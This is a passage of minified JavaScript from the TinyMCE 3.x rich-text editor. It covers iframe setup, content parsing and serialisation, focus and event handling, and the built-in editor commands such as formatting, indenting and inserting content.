e=n=o=null,t.initContentBody();for(document.domain&&location.hostname!=document.domain&&(tinymce.relaxedDomain=document.domain),t.iframeHTML=s.doctype+'<html><head xmlns="http://www.w3.org/1999/xhtml">',s.document_base_url!=tinymce.documentBaseURL&&(t.iframeHTML+='<base href="'+t.documentBaseURI.getURI()+'" />'),tinymce.isIE8&&(s.ie7_compat?t.iframeHTML+='<meta http-equiv="X-UA-Compatible" content="IE=7" />':t.iframeHTML+='<meta http-equiv="X-UA-Compatible" content="IE=edge" />'),t.iframeHTML+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />',i=0;i<t.contentCSS.length;i++)t.iframeHTML+='<link type="text/css" rel="stylesheet" href="'+t.contentCSS[i]+'" />';t.contentCSS=[],bi=s.body_id||"tinymce",bi.indexOf("=")!=-1&&(bi=t.getParam("body_id","","hash"),bi=bi[t.id]||bi),bc=s.body_class||"",bc.indexOf("=")!=-1&&(bc=t.getParam("body_class","","hash"),bc=bc[t.id]||""),t.iframeHTML+='</head><body id="'+bi+'" class="mceContentBody '+bc+'" onload="window.parent.tinyMCE.get(\''+t.id+"').onLoad.dispatch();\"><br></body></html>",tinymce.relaxedDomain&&(isIE||tinymce.isOpera&&parseFloat(opera.version())<11)&&(u='javascript:(function(){document.open();document.domain="'+document.domain+'";var ed = window.parent.tinyMCE.get("'+t.id+'");document.write(ed.iframeHTML);document.close();ed.initContentBody();})()'),n=DOM.add(o.iframeContainer,"iframe",{id:t.id+"_ifr",src:u||'javascript:""',frameBorder:"0",allowTransparency:"true",title:s.aria_label,style:{height:h}}),t.contentAreaContainer=o.iframeContainer,o.editorContainer&&(DOM.get(o.editorContainer).style.display=t.orgDisplay),e.style.visibility=t.orgVisibility,DOM.get(t.id).style.display="none",DOM.setAttrib(t.id,"aria-hidden",!0),tinymce.relaxedDomain&&u||t.initContentBody(),e=n=o=null},initContentBody:function(){var body,contentCssText,self=this,settings=self.settings,targetElm=DOM.get(self.id),doc=self.getDoc();isIE&&tinymce.relaxedDomain||settings.content_editable||(doc.open(),doc.write(self.iframeHTML),doc.close(),tinymce.relaxedDomain&&(doc.domain=tinymce.relaxedDomain)),settings.content_editable&&(DOM.addClass(targetElm,"mceContentBody"),self.contentDocument=doc=settings.content_document||document,self.contentWindow=settings.content_window||window,self.bodyElement=targetElm,settings.content_document=settings.content_window=null),body=self.getBody(),body.disabled=!0,settings.readonly||(body.contentEditable=self.getParam("content_editable_state",!0)),body.disabled=!1,self.schema=new tinymce.html.Schema(settings),self.dom=new tinymce.dom.DOMUtils(doc,{keep_values:!0,url_converter:self.convertURL,url_converter_scope:self,hex_colors:settings.force_hex_style_colors,class_filter:settings.class_filter,update_styles:!0,root_element:settings.content_editable?self.id:null,schema:self.schema}),self.parser=new tinymce.html.DomParser(settings,self.schema),self.parser.addAttributeFilter("src,href,style",function(nodes,name){for(var node,value,internalName,i=nodes.length,dom=self.dom;i--;)node=nodes[i],value=node.attr(name),internalName="data-mce-"+name,node.attributes.map[internalName]||("style"===name?node.attr(internalName,dom.serializeStyle(dom.parseStyle(value),node.name)):node.attr(internalName,self.convertURL(value,name,node.name)))}),self.parser.addNodeFilter("script",function(nodes,name){for(var node,i=nodes.length;i--;)node=nodes[i],node.attr("type","mce-"+(node.attr("type")||"text/javascript"))}),self.parser.addNodeFilter("#cdata",function(nodes,name){for(var node,i=nodes.length;i--;)node=nodes[i],node.type=8,node.name="#comment",node.value="[CDATA["+node.value+"]]"}),self.parser.addNodeFilter("p,h1,h2,h3,h4,h5,h6,div",function(nodes,name){for(var node,i=nodes.length,nonEmptyElements=self.schema.getNonEmptyElements();i--;)node=nodes[i],node.isEmpty(nonEmptyElements)&&(node.empty().append(new tinymce.html.Node("br",1)).shortEnded=!0)}),self.serializer=new tinymce.dom.Serializer(settings,self.dom,self.schema),self.selection=new tinymce.dom.Selection(self.dom,self.getWin(),self.serializer,self),self.formatter=new tinymce.Formatter(self),self.undoManager=new tinymce.UndoManager(self),self.forceBlocks=new tinymce.ForceBlocks(self),self.enterKey=new tinymce.EnterKey(self),self.editorCommands=new tinymce.EditorCommands(self),self.onExecCommand.add(function(editor,command){/^(FontName|FontSize)$/.test(command)||self.nodeChanged()}),self.serializer.onPreProcess.add(function(se,o){return self.onPreProcess.dispatch(self,o,se)}),self.serializer.onPostProcess.add(function(se,o){return self.onPostProcess.dispatch(self,o,se)}),self.onPreInit.dispatch(self),settings.browser_spellcheck||settings.gecko_spellcheck||(doc.body.spellcheck=!1),settings.readonly||self.bindNativeEvents(),self.controlManager.onPostRender.dispatch(self,self.controlManager),self.onPostRender.dispatch(self),self.quirks=tinymce.util.Quirks(self),settings.directionality&&(body.dir=settings.directionality),settings.nowrap&&(body.style.whiteSpace="nowrap"),settings.protect&&self.onBeforeSetContent.add(function(ed,o){each(settings.protect,function(pattern){o.content=o.content.replace(pattern,function(str){return"<!--mce:protected "+escape(str)+"-->"})})}),self.onSetContent.add(function(){self.addVisual(self.getBody())}),settings.padd_empty_editor&&self.onPostProcess.add(function(ed,o){o.content=o.content.replace(/^(<p[^>]*>(&nbsp;|&#160;|\s|\u00a0|)<\/p>[\r\n]*|<br \/>[\r\n]*)$/,"")}),self.load({initial:!0,format:"html"}),self.startContent=self.getContent({format:"raw"}),self.initialized=!0,self.onInit.dispatch(self),self.execCallback("setupcontent_callback",self.id,body,doc),self.execCallback("init_instance_callback",self),self.focus(!0),self.nodeChanged({initial:!0}),self.contentStyles.length>0&&(contentCssText="",each(self.contentStyles,function(style){contentCssText+=style+"\r\n"}),self.dom.addStyle(contentCssText)),each(self.contentCSS,function(url){self.dom.loadCSS(url)}),settings.auto_focus&&setTimeout(function(){var ed=tinymce.get(settings.auto_focus);ed.selection.select(ed.getBody(),1),ed.selection.collapse(1),ed.getBody().focus(),ed.getWin().focus()},100),targetElm=doc=body=null},focus:function(skip_focus){var oed,ieRng,controlElm,body,self=this,selection=self.selection,contentEditable=self.settings.content_editable,doc=self.getDoc();skip_focus||(self.bookmark&&(selection.moveToBookmark(self.bookmark),self.bookmark=null),ieRng=selection.getRng(),ieRng.item&&(controlElm=ieRng.item(0)),
self._refreshContentEditable(),contentEditable||self.getWin().focus(),(tinymce.isGecko||contentEditable)&&(body=self.getBody(),body.setActive&&!tinymce.isIE11?body.setActive():body.focus(),contentEditable&&selection.normalize()),controlElm&&controlElm.ownerDocument==doc&&(ieRng=doc.body.createControlRange(),ieRng.addElement(controlElm),ieRng.select())),tinymce.activeEditor!=self&&(null!=(oed=tinymce.activeEditor)&&oed.onDeactivate.dispatch(oed,self),self.onActivate.dispatch(self,oed)),tinymce._setActive(self)},execCallback:function(n){var s,t=this,f=t.settings[n];if(f)return t.callbackLookup&&(s=t.callbackLookup[n])&&(f=s.func,s=s.scope),is(f,"string")&&(s=f.replace(/\.\w+$/,""),s=s?tinymce.resolve(s):0,f=tinymce.resolve(f),t.callbackLookup=t.callbackLookup||{},t.callbackLookup[n]={func:f,scope:s}),f.apply(s||t,Array.prototype.slice.call(arguments,1))},translate:function(s){var c=this.settings.language||"en",i18n=tinymce.i18n;return s?i18n[c+"."+s]||s.replace(/\{\#([^\}]+)\}/g,function(a,b){return i18n[c+"."+b]||"{#"+b+"}"}):""},getLang:function(n,dv){return tinymce.i18n[(this.settings.language||"en")+"."+n]||(is(dv)?dv:"{#"+n+"}")},getParam:function(n,dv,ty){var o,tr=tinymce.trim,v=is(this.settings[n])?this.settings[n]:dv;return"hash"===ty?(o={},is(v,"string")?each(v.indexOf("=")>0?v.split(/[;,](?![^=;,]*(?:[;,]|$))/):v.split(","),function(v){v=v.split("="),v.length>1?o[tr(v[0])]=tr(v[1]):o[tr(v[0])]=tr(v)}):o=v,o):v},nodeChanged:function(o){var node,self=this,selection=self.selection;self.initialized&&(o=o||{},node=selection.getStart()||self.getBody(),node=isIE&&node.ownerDocument!=self.getDoc()?self.getBody():node,"IMG"==node.nodeName&&selection.isCollapsed()&&(node=node.parentNode),o.parents=[],self.dom.getParent(node,function(node){return"BODY"==node.nodeName||void o.parents.push(node)}),self.onNodeChange.dispatch(self,o?o.controlManager||self.controlManager:self.controlManager,node,selection.isCollapsed(),o))},addButton:function(name,settings){var self=this;self.buttons=self.buttons||{},self.buttons[name]=settings},addCommand:function(name,callback,scope){this.execCommands[name]={func:callback,scope:scope||this}},addQueryStateHandler:function(name,callback,scope){this.queryStateCommands[name]={func:callback,scope:scope||this}},addQueryValueHandler:function(name,callback,scope){this.queryValueCommands[name]={func:callback,scope:scope||this}},queryCommandSupported:function(cmd){return this.editorCommands.queryCommandSupported(cmd)},addShortcut:function(pa,desc,cmd_func,sc){var c,t=this;return t.settings.custom_shortcuts!==!1&&(t.shortcuts=t.shortcuts||{},is(cmd_func,"string")&&(c=cmd_func,cmd_func=function(){t.execCommand(c,!1,null)}),is(cmd_func,"object")&&(c=cmd_func,cmd_func=function(){t.execCommand(c[0],c[1],c[2])}),each(explode(pa),function(pa){var o={func:cmd_func,scope:sc||this,desc:t.translate(desc),alt:!1,ctrl:!1,shift:!1};each(explode(pa,"+"),function(v){switch(v){case"alt":case"ctrl":case"shift":o[v]=!0;break;default:o.charCode=v.charCodeAt(0),o.keyCode=v.toUpperCase().charCodeAt(0)}}),t.shortcuts[(o.ctrl?"ctrl":"")+","+(o.alt?"alt":"")+","+(o.shift?"shift":"")+","+o.keyCode]=o}),!0)},execCommand:function(cmd,ui,val,a){var o,st,t=this,s=0;return/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint|SelectAll)$/.test(cmd)||a&&a.skip_focus||t.focus(),a=extend({},a),t.onBeforeExecCommand.dispatch(t,cmd,ui,val,a),!a.terminate&&(t.execCallback("execcommand_callback",t.id,t.selection.getNode(),cmd,ui,val)?(t.onExecCommand.dispatch(t,cmd,ui,val,a),!0):(o=t.execCommands[cmd])&&(st=o.func.call(o.scope,ui,val),st!==!0)?(t.onExecCommand.dispatch(t,cmd,ui,val,a),st):(each(t.plugins,function(p){if(p.execCommand&&p.execCommand(cmd,ui,val))return t.onExecCommand.dispatch(t,cmd,ui,val,a),s=1,!1}),!!s||(t.theme&&t.theme.execCommand&&t.theme.execCommand(cmd,ui,val)?(t.onExecCommand.dispatch(t,cmd,ui,val,a),!0):t.editorCommands.execCommand(cmd,ui,val)?(t.onExecCommand.dispatch(t,cmd,ui,val,a),!0):(t.getDoc().execCommand(cmd,ui,val),void t.onExecCommand.dispatch(t,cmd,ui,val,a)))))},queryCommandState:function(cmd){var o,s,t=this;if(!t._isHidden()){if((o=t.queryStateCommands[cmd])&&(s=o.func.call(o.scope),s!==!0))return s;if(o=t.editorCommands.queryCommandState(cmd),o!==-1)return o;try{return this.getDoc().queryCommandState(cmd)}catch(ex){}}},queryCommandValue:function(c){var o,s,t=this;if(!t._isHidden()){if((o=t.queryValueCommands[c])&&(s=o.func.call(o.scope),s!==!0))return s;if(o=t.editorCommands.queryCommandValue(c),is(o))return o;try{return this.getDoc().queryCommandValue(c)}catch(ex){}}},show:function(){var self=this;DOM.show(self.getContainer()),DOM.hide(self.id),self.load()},hide:function(){var self=this,doc=self.getDoc();isIE&&doc&&doc.execCommand("SelectAll"),self.save(),DOM.hide(self.getContainer()),DOM.setStyle(self.id,"display",self.orgDisplay)},isHidden:function(){return!DOM.isHidden(this.id)},setProgressState:function(b,ti,o){return this.onSetProgressState.dispatch(this,b,ti,o),b},load:function(o){var h,t=this,e=t.getElement();if(e)return o=o||{},o.load=!0,h=t.setContent(is(e.value)?e.value:e.innerHTML,o),o.element=e,o.no_events||t.onLoadContent.dispatch(t,o),o.element=e=null,h},save:function(o){var h,f,t=this,e=t.getElement();if(e&&t.initialized)return o=o||{},o.save=!0,o.element=e,h=o.content=t.getContent(o),o.no_events||t.onSaveContent.dispatch(t,o),h=o.content,/TEXTAREA|INPUT/i.test(e.nodeName)?e.value=h:(e.innerHTML=h,(f=DOM.getParent(t.id,"form"))&&each(f.elements,function(e){if(e.name==t.id)return e.value=h,!1})),o.element=e=null,h},setContent:function(content,args){var forcedRootBlockName,self=this,body=self.getBody();return args=args||{},args.format=args.format||"html",args.set=!0,args.content=content,args.no_events||self.onBeforeSetContent.dispatch(self,args),content=args.content,0===content.length||/^\s+$/.test(content)?(forcedRootBlockName=self.settings.forced_root_block,forcedRootBlockName&&self.schema.isValidChild(body.nodeName.toLowerCase(),forcedRootBlockName.toLowerCase())?content=isIE?"<"+forcedRootBlockName+"></"+forcedRootBlockName+">":"<"+forcedRootBlockName+'><br data-mce-bogus="1"></'+forcedRootBlockName+">":isIE||(content='<br data-mce-bogus="1">'),self.dom.setHTML(body,content),self.onSetContent.dispatch(self,args)):("raw"!==args.format&&(content=new tinymce.html.Serializer({},self.schema).serialize(self.parser.parse(content))),args.content=tinymce.trim(content),self.dom.setHTML(body,args.content),args.no_events||self.onSetContent.dispatch(self,args)),args.content},getSelection:function(){return this.selection.getContent()},getContent:function(args){var content,self=this,body=self.getBody();return args=args||{},args.format=args.format||"html",args.get=!0,args.getInner=!0,args.no_events||self.onBeforeGetContent.dispatch(self,args),content="raw"==args.format?body.innerHTML:"text"==args.format?body.innerText||body.textContent:self.serializer.serialize(body,args),"text"!=args.format?args.content=tinymce.trim(content):args.content=content,args.no_events||self.onGetContent.dispatch(self,args),args.content},isDirty:function(){var self=this;return tinymce.trim(self.startContent)!==tinymce.trim(self.getContent({format:"raw"}))&&!self.isNotDirty},getContainer:function(){var self=this;return self.container||(self.container=DOM.get(self.editorContainer||self.id+"_parent")),self.container},getContentAreaContainer:function(){return this.contentAreaContainer},getElement:function(){return DOM.get(this.settings.content_element||this.id)},getWin:function(){var elm,self=this;return self.contentWindow||(elm=DOM.get(self.id+"_ifr"),elm&&(self.contentWindow=elm.contentWindow)),self.contentWindow},getDoc:function(){var win,self=this;return self.contentDocument||(win=self.getWin(),win&&(self.contentDocument=win.document)),self.contentDocument},getBody:function(){return this.bodyElement||this.getDoc().body},convertURL:function(url,name,elm){var self=this,settings=self.settings;return settings.urlconverter_callback?self.execCallback("urlconverter_callback",url,elm,!0,name):!settings.convert_urls||elm&&"LINK"==elm.nodeName||0===url.indexOf("file:")?url:settings.relative_urls?self.documentBaseURI.toRelative(url):url=self.documentBaseURI.toAbsolute(url,settings.remove_script_host)},addVisual:function(elm){var cls,self=this,settings=self.settings,dom=self.dom;elm=elm||self.getBody(),is(self.hasVisual)||(self.hasVisual=settings.visual),each(dom.select("table,a",elm),function(elm){var value;switch(elm.nodeName){case"TABLE":return cls=settings.visual_table_class||"mce-item-table",value=dom.getAttrib(elm,"border"),void(value&&"0"!=value||(self.hasVisual?dom.addClass(elm,cls):dom.removeClass(elm,cls)));case"A":return void(dom.getAttrib(elm,"href",!1)||(value=dom.getAttrib(elm,"name")||elm.id,cls="mce-item-anchor",value&&(self.hasVisual?dom.addClass(elm,cls):dom.removeClass(elm,cls))))}}),self.onVisualAid.dispatch(self,elm,self.hasVisual)},remove:function(){var self=this,elm=self.getContainer(),doc=self.getDoc();self.removed||(self.removed=1,isIE&&doc&&doc.execCommand("SelectAll"),self.save(),DOM.setStyle(self.id,"display",self.orgDisplay),self.settings.content_editable||(Event.unbind(self.getWin()),Event.unbind(self.getDoc())),Event.unbind(self.getBody()),Event.clear(elm),self.execCallback("remove_instance_callback",self),self.onRemove.dispatch(self),self.onExecCommand.listeners=[],tinymce.remove(self),DOM.remove(elm))},destroy:function(s){var t=this;t.destroyed||(isGecko&&(Event.unbind(t.getDoc()),Event.unbind(t.getWin()),Event.unbind(t.getBody())),s||(tinymce.removeUnload(t.destroy),tinyMCE.onBeforeUnload.remove(t._beforeUnload),t.theme&&t.theme.destroy&&t.theme.destroy(),t.controlManager.destroy(),t.selection.destroy(),t.dom.destroy()),t.formElement&&(t.formElement.submit=t.formElement._mceOldSubmit,t.formElement._mceOldSubmit=null),t.contentAreaContainer=t.formElement=t.container=t.settings.content_element=t.bodyElement=t.contentDocument=t.contentWindow=null,t.selection&&(t.selection=t.selection.win=t.selection.dom=t.selection.dom.doc=null),t.destroyed=1)},_refreshContentEditable:function(){var body,parent,self=this;self._isHidden()&&(body=self.getBody(),parent=body.parentNode,parent.removeChild(body),parent.appendChild(body),body.focus())},_isHidden:function(){var s;return isGecko?(s=this.selection.getSel(),!s||!s.rangeCount||0===s.rangeCount):0}})}(tinymce),function(tinymce){var each=tinymce.each;tinymce.Editor.prototype.setupEvents=function(){var self=this,settings=self.settings;each(["onPreInit","onBeforeRenderUI","onPostRender","onLoad","onInit","onRemove","onActivate","onDeactivate","onClick","onEvent","onMouseUp","onMouseDown","onDblClick","onKeyDown","onKeyUp","onKeyPress","onContextMenu","onSubmit","onReset","onPaste","onCut","onCopy","onPreProcess","onPostProcess","onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent","onLoadContent","onSaveContent","onNodeChange","onChange","onBeforeExecCommand","onExecCommand","onUndo","onRedo","onVisualAid","onSetProgressState","onSetAttrib"],function(name){self[name]=new tinymce.util.Dispatcher(self)}),settings.cleanup_callback&&(self.onBeforeSetContent.add(function(ed,o){o.content=ed.execCallback("cleanup_callback","insert_to_editor",o.content,o)}),self.onPreProcess.add(function(ed,o){o.set&&ed.execCallback("cleanup_callback","insert_to_editor_dom",o.node,o),o.get&&ed.execCallback("cleanup_callback","get_from_editor_dom",o.node,o)}),self.onPostProcess.add(function(ed,o){o.set&&(o.content=ed.execCallback("cleanup_callback","insert_to_editor",o.content,o)),o.get&&(o.content=ed.execCallback("cleanup_callback","get_from_editor",o.content,o))})),settings.save_callback&&self.onGetContent.add(function(ed,o){o.save&&(o.content=ed.execCallback("save_callback",ed.id,o.content,ed.getBody()))}),settings.handle_event_callback&&self.onEvent.add(function(ed,e,o){self.execCallback("handle_event_callback",e,ed,o)===!1&&(e.preventDefault(),e.stopPropagation())}),settings.handle_node_change_callback&&self.onNodeChange.add(function(ed,cm,n){ed.execCallback("handle_node_change_callback",ed.id,n,-1,-1,!0,ed.selection.isCollapsed())}),settings.save_callback&&self.onSaveContent.add(function(ed,o){var h=ed.execCallback("save_callback",ed.id,o.content,ed.getBody());h&&(o.content=h)}),settings.onchange_callback&&self.onChange.add(function(ed,l){ed.execCallback("onchange_callback",ed,l)})},tinymce.Editor.prototype.bindNativeEvents=function(){function eventHandler(evt,args){evt.type;self.removed||self.onEvent.dispatch(self,evt,args)!==!1&&self[nativeToDispatcherMap[evt.fakeType||evt.type]].dispatch(self,evt,args)}function doOperaFocus(e){self.focus(!0)}function nodeChanged(ed,e){65==e.keyCode&&tinymce.VK.metaKeyPressed(e)||self.selection.normalize(),self.nodeChanged()}function handleShortcut(e,execute){(e.altKey||e.ctrlKey||e.metaKey)&&each(self.shortcuts,function(shortcut){var ctrlState=tinymce.isMac?e.metaKey:e.ctrlKey;if(shortcut.ctrl==ctrlState&&shortcut.alt==e.altKey&&shortcut.shift==e.shiftKey)return e.keyCode==shortcut.keyCode||e.charCode&&e.charCode==shortcut.charCode?(e.preventDefault(),execute&&shortcut.func.call(shortcut.scope),!0):void 0})}var nativeToDispatcherMap,self=this,settings=self.settings,dom=self.dom;nativeToDispatcherMap={mouseup:"onMouseUp",mousedown:"onMouseDown",click:"onClick",keyup:"onKeyUp",keydown:"onKeyDown",keypress:"onKeyPress",submit:"onSubmit",reset:"onReset",contextmenu:"onContextMenu",dblclick:"onDblClick",paste:"onPaste",cut:"onCut",copy:"onCopy"},each(nativeToDispatcherMap,function(dispatcherName,nativeName){var root=settings.content_editable?self.getBody():self.getDoc();switch(nativeName){case"contextmenu":dom.bind(root,nativeName,eventHandler);break;case"paste":case"cut":case"copy":dom.bind(self.getBody(),nativeName,eventHandler);break;case"submit":case"reset":dom.bind(self.getElement().form||tinymce.DOM.getParent(self.id,"form"),nativeName,eventHandler);break;default:dom.bind(root,nativeName,eventHandler)}}),dom.bind(settings.content_editable?self.getBody():tinymce.isGecko?self.getDoc():self.getWin(),"focus",function(e){self.focus(!0)}),settings.content_editable&&tinymce.isOpera&&(dom.bind(self.getBody(),"click",doOperaFocus),dom.bind(self.getBody(),"keydown",doOperaFocus)),self.onMouseUp.add(nodeChanged),self.onKeyUp.add(function(ed,e){var keyCode=e.keyCode;(keyCode>=33&&keyCode<=36||keyCode>=37&&keyCode<=40||13==keyCode||45==keyCode||46==keyCode||8==keyCode||tinymce.isMac&&(91==keyCode||93==keyCode)||e.ctrlKey)&&nodeChanged(ed,e)}),self.onReset.add(function(){self.setContent(self.startContent,{format:"raw"})}),self.onKeyUp.add(function(ed,e){handleShortcut(e)}),self.onKeyPress.add(function(ed,e){handleShortcut(e)}),self.onKeyDown.add(function(ed,e){handleShortcut(e,!0)}),tinymce.isOpera&&self.onClick.add(function(ed,e){e.preventDefault()})}}(tinymce),function(tinymce){var undef,each=tinymce.each,TRUE=!0,FALSE=!1,isOldIE=tinymce.isIE&&!tinymce.isIE11,TreeWalker=tinymce.dom.TreeWalker;tinymce.EditorCommands=function(editor){function execCommand(command,ui,value){var func;return command=command.toLowerCase(),(func=commands.exec[command])?(func(command,ui,value),TRUE):FALSE}function queryCommandState(command){var func;return command=command.toLowerCase(),(func=commands.state[command])?func(command):-1}function queryCommandValue(command){var func;return command=command.toLowerCase(),(func=commands.value[command])?func(command):FALSE}function addCommands(command_list,type){type=type||"exec",each(command_list,function(callback,command){each(command.toLowerCase().split(","),function(command){commands[type][command]=callback})})}function queryCommandSupported(command){if(command=command.toLowerCase(),commands.exec[command])return!0;try{return editor.getDoc().queryCommandSupported(command)}catch(ex){}return!1}function execNativeCommand(command,ui,value){return ui===undef&&(ui=FALSE),value===undef&&(value=null),editor.getDoc().execCommand(command,ui,value)}function isFormatMatch(name){return formatter.match(name)}function toggleFormat(name,value){formatter.toggle(name,value?{value:value}:undef)}function storeSelection(type){bookmark=selection.getBookmark(type)}function restoreSelection(){selection.moveToBookmark(bookmark)}var bookmark,dom=editor.dom,selection=editor.selection,commands={state:{},exec:{},value:{}},settings=editor.settings,formatter=editor.formatter;tinymce.extend(this,{execCommand:execCommand,queryCommandState:queryCommandState,queryCommandValue:queryCommandValue,addCommands:addCommands,queryCommandSupported:queryCommandSupported}),addCommands({"mceResetDesignMode,mceBeginUndoLevel":function(){},"mceEndUndoLevel,mceAddUndoLevel":function(){editor.undoManager.add()},"Cut,Copy,Paste":function(command){var failed,doc=editor.getDoc();try{execNativeCommand(command)}catch(ex){failed=TRUE}!failed&&doc.queryCommandSupported(command)||(tinymce.isGecko?editor.windowManager.confirm(editor.getLang("clipboard_msg"),function(state){state&&open("http://www.mozilla.org/editor/midasdemo/securityprefs.html","_blank")}):editor.windowManager.alert(editor.getLang("clipboard_no_support")))},unlink:function(){if(selection.isCollapsed()){var elm=selection.getNode();return void("A"==elm.tagName&&editor.dom.remove(elm,!0))}formatter.remove("link")},"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(command){var align=command.substring(7);each("left,center,right,full".split(","),function(name){align!=name&&formatter.remove("align"+name)}),toggleFormat("align"+align),execCommand("mceRepaint")},"InsertUnorderedList,InsertOrderedList":function(command){var listElm,listParent;execNativeCommand(command),listElm=dom.getParent(selection.getNode(),"ol,ul"),listElm&&(listParent=listElm.parentNode,/^(H[1-6]|P|ADDRESS|PRE)$/.test(listParent.nodeName)&&(storeSelection(),dom.split(listParent,listElm),restoreSelection()))},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(command){toggleFormat(command)},"ForeColor,HiliteColor,FontName":function(command,ui,value){toggleFormat(command,value)},FontSize:function(command,ui,value){var fontClasses,fontSizes;value>=1&&value<=7&&(fontSizes=tinymce.explode(settings.font_size_style_values),fontClasses=tinymce.explode(settings.font_size_classes),value=fontClasses?fontClasses[value-1]||value:fontSizes[value-1]||value),toggleFormat(command,value)},RemoveFormat:function(command){formatter.remove(command)},mceBlockQuote:function(command){toggleFormat("blockquote")},FormatBlock:function(command,ui,value){return toggleFormat(value||"p")},mceCleanup:function(){var bookmark=selection.getBookmark();editor.setContent(editor.getContent({cleanup:TRUE}),{cleanup:TRUE}),selection.moveToBookmark(bookmark)},mceRemoveNode:function(command,ui,value){var node=value||selection.getNode();node!=editor.getBody()&&(storeSelection(),editor.dom.remove(node,TRUE),restoreSelection())},mceSelectNodeDepth:function(command,ui,value){var counter=0;dom.getParent(selection.getNode(),function(node){if(1==node.nodeType&&counter++==value)return selection.select(node),FALSE},editor.getBody())},mceSelectNode:function(command,ui,value){selection.select(value)},mceInsertContent:function(command,ui,value){function trimOrPaddLeftRight(html){function hasSiblingText(siblingName){return container[siblingName]&&3==container[siblingName].nodeType}var rng,container,offset;return rng=selection.getRng(!0),container=rng.startContainer,offset=rng.startOffset,3==container.nodeType&&(offset>0?html=html.replace(/^&nbsp;/," "):hasSiblingText("previousSibling")||(html=html.replace(/^ /,"&nbsp;")),offset<container.length?html=html.replace(/&nbsp;(<br>|)$/," "):hasSiblingText("nextSibling")||(html=html.replace(/(&nbsp;| )(<br>|)$/,"&nbsp;"))),html}function trimNbspAfterDeleteAndPaddValue(){var rng,container,offset;rng=selection.getRng(!0),container=rng.startContainer,offset=rng.startOffset,3==container.nodeType&&rng.collapsed&&(" "===container.data[offset]?(container.deleteData(offset,1),/[\u00a0| ]$/.test(value)||(value+=" ")):" "===container.data[offset-1]&&(container.deleteData(offset-1,1),/[\u00a0| ]$/.test(value)||(value=" "+value)))}function markInlineFormatElements(fragment){if(merge)for(node=fragment.firstChild;node;node=node.walk(!0))textInlineElements[node.name]&&node.attr("data-mce-new","true")}var parser,serializer,parentNode,rootNode,fragment,args,marker,rng,node,node2,bookmarkHtml,merge,textInlineElements=editor.schema.getTextInlineElements();"string"!=typeof value&&(merge=value.merge,value=value.content),/^ | $/.test(value)&&(value=trimOrPaddLeftRight(value)),parser=editor.parser,serializer=new tinymce.html.Serializer({},editor.schema),bookmarkHtml='<span id="mce_marker" data-mce-type="bookmark">&#xFEFF;&#x200B;</span>',args={content:value,format:"html"},selection.onBeforeSetContent.dispatch(selection,args),value=args.content,value.indexOf("{$caret}")==-1&&(value+="{$caret}"),value=value.replace(/\{\$caret\}/,bookmarkHtml),rng=selection.getRng();var caretElement=rng.startContainer||(rng.parentElement?rng.parentElement():null),body=editor.getBody();caretElement===body&&selection.isCollapsed()&&dom.isBlock(body.firstChild)&&dom.isEmpty(body.firstChild)&&(rng=dom.createRng(),rng.setStart(body.firstChild,0),rng.setEnd(body.firstChild,0),selection.setRng(rng)),selection.isCollapsed()||(editor.getDoc().execCommand("Delete",!1,null),trimNbspAfterDeleteAndPaddValue()),parentNode=selection.getNode();var parserArgs={context:parentNode.nodeName.toLowerCase()};if(fragment=parser.parse(value,parserArgs),markInlineFormatElements(fragment),node=fragment.lastChild,"mce_marker"==node.attr("id"))for(marker=node,node=node.prev;node;node=node.walk(!0))if(3==node.type||!dom.isBlock(node.name)){editor.schema.isValidChild(node.parent.name,"span")&&node.parent.insert(marker,node,"br"===node.name);break}if(parserArgs.invalid){for(selection.setContent(bookmarkHtml),parentNode=selection.getNode(),rootNode=editor.getBody(),9==parentNode.nodeType?parentNode=node=rootNode:node=parentNode;node!==rootNode;)parentNode=node,node=node.parentNode;value=parentNode==rootNode?rootNode.innerHTML:dom.getOuterHTML(parentNode),value=serializer.serialize(parser.parse(value.replace(/<span (id="mce_marker"|id=mce_marker).+?<\/span>/i,function(){return serializer.serialize(fragment)}))),parentNode==rootNode?dom.setHTML(rootNode,value):dom.setOuterHTML(parentNode,value)}else value=serializer.serialize(fragment),node=parentNode.firstChild,node2=parentNode.lastChild,!node||node===node2&&"BR"===node.nodeName?dom.setHTML(parentNode,value):selection.setContent(value);marker=dom.get("mce_marker"),selection.scrollIntoView(marker),rng=dom.createRng(),node=marker.previousSibling,node&&3==node.nodeType?(rng.setStart(node,node.nodeValue.length),tinymce.isIE||(node2=marker.nextSibling,node2&&3==node2.nodeType&&(node.appendData(node2.data),node2.parentNode.removeChild(node2)))):(rng.setStartBefore(marker),rng.setEndBefore(marker)),dom.remove(marker),selection.setRng(rng),selection.onSetContent.dispatch(selection,args),editor.addVisual()},mceInsertRawHTML:function(command,ui,value){selection.setContent("tiny_mce_marker"),editor.setContent(editor.getContent().replace(/tiny_mce_marker/g,function(){return value}))},mceToggleFormat:function(command,ui,value){toggleFormat(value)},mceSetContent:function(command,ui,value){editor.setContent(value)},"Indent,Outdent":function(command){var intentValue,indentUnit,value;intentValue=settings.indentation,indentUnit=/[a-z%]+$/i.exec(intentValue),intentValue=parseInt(intentValue,10),queryCommandState("InsertUnorderedList")||queryCommandState("InsertOrderedList")?execNativeCommand(command):(settings.forced_root_block||dom.getParent(selection.getNode(),dom.isBlock)||formatter.apply("div"),each(selection.getSelectedBlocks(),function(element){if("LI"!=element.nodeName){var indentStyleName=editor.getParam("indent_use_margin",!1)?"margin":"padding";indentStyleName+="rtl"==dom.getStyle(element,"direction",!0)?"Right":"Left","outdent"==command?(value=Math.max(0,parseInt(element.style[indentStyleName]||0,10)-intentValue),dom.setStyle(element,indentStyleName,value?value+indentUnit:"")):(value=parseInt(element.style[indentStyleName]||0,10)+intentValue+indentUnit,dom.setStyle(element,indentStyleName,value))}}))},mceRepaint:function(){if(tinymce.isGecko)try{storeSelection(TRUE),selection.getSel()&&selection.getSel().selectAllChildren(editor.getBody()),selection.collapse(TRUE),restoreSelection()}catch(ex){}},mceToggleFormat:function(command,ui,value){formatter.toggle(value)},InsertHorizontalRule:function(){editor.execCommand("mceInsertContent",!1,"<hr />")},mceToggleVisualAid:function(){editor.hasVisual=!editor.hasVisual,editor.addVisual()},mceReplaceContent:function(command,ui,value){editor.execCommand("mceInsertContent",!1,value.replace(/\{\$selection\}/g,selection.getContent({format:"text"})))},mceInsertLink:function(command,ui,value){var 